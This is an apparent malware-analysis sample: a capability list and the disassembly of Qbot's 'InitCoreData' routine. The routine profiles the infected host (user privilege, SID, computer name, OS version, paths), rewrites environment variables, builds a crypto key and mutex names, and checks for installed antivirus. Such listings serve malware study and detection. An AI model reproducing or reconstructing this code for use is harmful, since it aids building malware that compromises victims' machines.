Function at 0x100256a0
Capabilities:
Get common file path
Get hostname
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc40
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
push 0x1ed8
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.10019d20
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x1a54], eax
mov edx, dword [ebp + 8]
add edx, 0xa5c
push edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 8]
add eax, dword [ecx + 0x1a54]
push eax
call fcn.1001ba30
add esp, 8
push 0x105
mov edx, dword [ebp + 8]
add edx, 0x1a58
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x10025741
push str.InitCoreData__:_GetModuleFileNameW___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 8
jmp 0x1002575d
push 0x5c
mov eax, dword [ebp + 8]
add eax, 0x1a58
push eax
call fcn.10018a40
add esp, 8
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x1c64], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100240f0
add esp, 4
mov edx, dword [ebp + 8]
mov dword [edx + 0x104], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x104]
mov edx, dword [ecx]
push edx
call fcn.100242d0
add esp, 4
test eax, eax
je 0x100257b3
mov eax, dword [ebp + 8]
mov dword [eax + 0x408], 3
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x408]
push edx
push str.InitCoreData__:_dwUserType_u_CURUSER_SYSTEM
call fcn.10018570
add esp, 8
jmp 0x10025806
call fcn.100241b0
test eax, eax
jle 0x100257e2
mov eax, dword [ebp + 8]
mov dword [eax + 0x408], 2
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x408]
push edx
push str.InitCoreData__:_dwUserType_u_CURUSER_ADMIN
call fcn.10018570
add esp, 8
jmp 0x10025806
mov eax, dword [ebp + 8]
mov dword [eax + 0x408], 1
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x408]
push edx
push str.InitCoreData__:_dwUserType_u_CURUSER_USER
call fcn.10018570
add esp, 8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x40c], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x40c]
push eax
push str.InitCoreData__:_hModule_p
call fcn.10018570
add esp, 8
mov dword [ebp - 0x18], 0x80
mov dword [ebp - 0x10], 0x80
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
add eax, 0x308
push eax
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x208
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x104]
mov edx, dword [ecx]
push edx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
jne 0x100258a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
push str.LookupAccountSidW___err__u
push 0x80
mov ecx, dword [ebp + 8]
add ecx, 0x308
push ecx
call fcn.10019e20
add esp, 0x10
push str.InitCoreData__:_LookupAccountSidW___failed
mov edx, dword [ebp - 0x1c]
push edx
call main
add esp, 8
mov eax, dword [ebp + 0x14]
and eax, 2
je 0x100258e5
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
push str.InitCoreData__:_COREFLAG_LOAD_DLL_FROM_MEM_wszQbotinjExePath_S
call fcn.10018570
add esp, 8
push 0x20a
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x410
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
jmp 0x100259d3
mov edx, dword [ebp + 0x14]
and edx, 4
je 0x100259b5
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
push str.InitCoreData__:_COREFLAG_LOAD_QBOT_HOOK_wszQbotinjExePath_S
call fcn.10018570
add esp, 8
push 0x105
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
add eax, 0x410
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x2ff]
mov dword [0x100521d0], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x307]
mov dword [0x100521d4], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x30b]
mov dword [0x100521d8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x313]
mov dword [0x100521dc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x317]
mov dword [0x100521e0], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x31f]
mov dword [0x100521e4], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x323]
mov dword [0x100521e8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x32b]
mov dword [0x100521ec], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x32f]
mov dword [0x100521f0], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x337]
mov dword [0x100521f4], edx
jmp 0x100259d3
push 0x20a
mov eax, dword [ebp + 8]
add eax, 0x410
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
mov eax, dword [ebp + 8]
add eax, 0x410
push eax
call fcn.10018a40
add esp, 8
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x61c], eax
push 0x40
push 0x5c
mov edx, dword [ebp + 8]
add edx, 0x410
push edx
call fcn.10018a40
add esp, 8
push eax
mov eax, dword [ebp + 8]
add eax, 0xc4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov ecx, dword [ebp + 8]
add ecx, 0xc4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov ecx, dword [ebp + 8]
mov word [ecx + eax*2 + 0xbc], dx
push 0x20
mov edx, dword [ebp + 8]
add edx, 0xa4
push edx
mov eax, dword [ebp + 8]
add eax, 0xc4
push eax
call fcn.10018f90
add esp, 0xc
mov ecx, dword [ebp + 8]
add ecx, 0x620
push ecx
mov edx, dword [ebp + 8]
add edx, 0x410
push edx
call fcn.10018a90
add esp, 8
push 0x105
mov eax, dword [ebp + 8]
add eax, 0x620
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x850
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0x1003430c
mov edx, dword [ebp + 8]
add edx, 0x850
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp + 8]
add eax, 0xc4
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x850
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x13e
call fcn.1001b7e0
add esp, 4
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp + 8]
add eax, 0x850
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x20]
push ecx
call fcn.1001ba10
add esp, 4
mov edx, dword [ebp + 8]
add edx, 0xa5c
push edx
push 0xf
push 0xa
mov eax, dword [ebp + 8]
add eax, 0x82a
push eax
call fcn.10018b30
add esp, 0x10
mov ecx, dword [ebp + 8]
add ecx, 0x1420
push ecx
push 0
mov edx, dword [ebp + 8]
add edx, 0xa4
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 8]
add eax, 0xa4
push eax
call fcn.10022ef0
add esp, 0xc
push eax
call fcn.10026790
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10024360
add esp, 4
movsx ecx, al
mov edx, dword [ebp + 8]
mov dword [edx + 0x1430], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1430]
push ecx
push str.InitCoreData__:_dwProcessIntegrityLevel_08X
call fcn.10018570
add esp, 8
push 0x9c
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.10019d20
add esp, 0xc
mov eax, dword [ebp + 8]
mov dword [eax], 0x9c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp + 8]
mov dword [edx + 0x1dac], eax
call fcn.10025510
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xa0], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xa0]
push eax
call fcn.10025540
add esp, 4
mov ecx, dword [ebp + 8]
mov word [ecx + 0x9c], ax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
push str.InitCoreData__:_OS_version__u._u
call fcn.10018570
add esp, 0xc
push 0x104
mov eax, dword [ebp + 8]
add eax, 0x1434
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x10025c27
push str.InitCoreData__:_____GetWindowsDirectoryW___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 8
jmp 0x10025c3e
mov ecx, dword [ebp + 8]
add ecx, 0x1434
push ecx
push str.InitCoreData__:_windir:__S
call fcn.10018570
add esp, 8
push 0x104
lea edx, [ebp - 0x230]
push edx
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x10025c7a
push str.InitCoreData__:_GetEnvironmentVariable_SystemRoot_:_failed
call fcn.10018570
add esp, 4
mov eax, dword [ebp + 8]
add eax, 0x1434
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x209
mov ecx, dword [ebp + 8]
add ecx, 0x1848
push ecx
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x10025ce4
push str.InitCoreData__:_GetEnvironmentVariable_USERPROFILE_:_failed
call fcn.10018570
add esp, 4
push 0x1003ce94
mov edx, dword [ebp + 8]
add edx, 0x1434
push edx
push str._s_s
push 0x20a
mov eax, dword [ebp + 8]
add eax, 0x1848
push eax
call fcn.10019e20
add esp, 0x14
mov ecx, dword [ebp + 8]
add ecx, 0x1848
push ecx
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x20a
mov edx, dword [ebp + 8]
add edx, 0x163e
push edx
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x10025d23
push str.InitCoreData__:_GetEnvironmentVariable_TEMP_:_failed
call fcn.10018570
add esp, 4
mov eax, dword [ebp + 8]
add eax, 0x1848
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x3f
lea ecx, [ebp - 0x270]
push ecx
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10025d58
push str.InitCoreData__:_GetEnvironmentVariable_SystemDrive_:_failed
call fcn.10018570
add esp, 4
push 0x10045d84
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea edx, [ebp - 0x274]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x104]
mov edx, dword [ecx]
push edx
call sub.ADVAPI32.dll_ConvertSidToStringSidA
test eax, eax
jne 0x10025d8a
push str.InitCoreData__:_ConvertSidToStringSidA___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 8
jmp 0x10025d9e
mov eax, dword [ebp - 0x274]
push eax
push str.InitCoreData__:_ConvertSidToStringSidA___ok._szSid_s
call fcn.10018570
add esp, 8
mov ecx, dword [ebp + 8]
add ecx, 0xa4
push ecx
mov edx, dword [ebp + 8]
add edx, 0x82a
push edx
mov eax, dword [ebp + 8]
add eax, 0x620
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x410
push ecx
mov edx, dword [ebp + 8]
add edx, 0x308
push edx
mov eax, dword [ebp + 8]
add eax, 0x208
push eax
mov ecx, dword [ebp - 0x274]
push ecx
push str.InitCoreData__:_szSid_s_wszUserName_S_wszDomainName_S_wszQbotinjExe_S_wszHomeDir_S_szVarsMutex_s_szBaseRandomName_s
call fcn.10018570
add esp, 0x20
mov dword [ebp - 0x278], 0x7f
lea edx, [ebp - 0x278]
push edx
mov eax, dword [ebp + 8]
add eax, 0x1db0
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0xc40]
push ecx
push 0
mov edx, dword [ebp + 8]
add edx, 0x1420
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1420
push eax
call fcn.10022ef0
add esp, 0xc
push eax
call fcn.1001ba30
add esp, 8
push 0x20
mov ecx, dword [ebp + 8]
add ecx, 0x1c68
push ecx
lea edx, [ebp - 0xc40]
push edx
call fcn.1001bce0
add esp, 0xc
push 0x20
mov eax, dword [ebp + 8]
add eax, 0x1c68
push eax
push str.InitCoreData__:_pCoreData__bCommonCryptKey:
call fcn.100188b0
add esp, 0xc
lea ecx, [ebp - 0xc40]
push ecx
push 0x1e
push 0x14
mov edx, dword [ebp + 8]
add edx, 0x1c88
push edx
call fcn.10018b30
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x1c88
push eax
push str.InitCoreData__:_szSeclogMutex_s
call fcn.10018570
add esp, 8
mov ecx, dword [ebp + 0x14]
and ecx, 1
jne 0x10025ed3
call fcn.100251f0
mov edx, dword [ebp + 8]
mov dword [edx + 0x1ca8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1ca8]
push ecx
push str.InitCoreData__:_____pCoreData__dwAVInstalled_u
call fcn.10018570
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret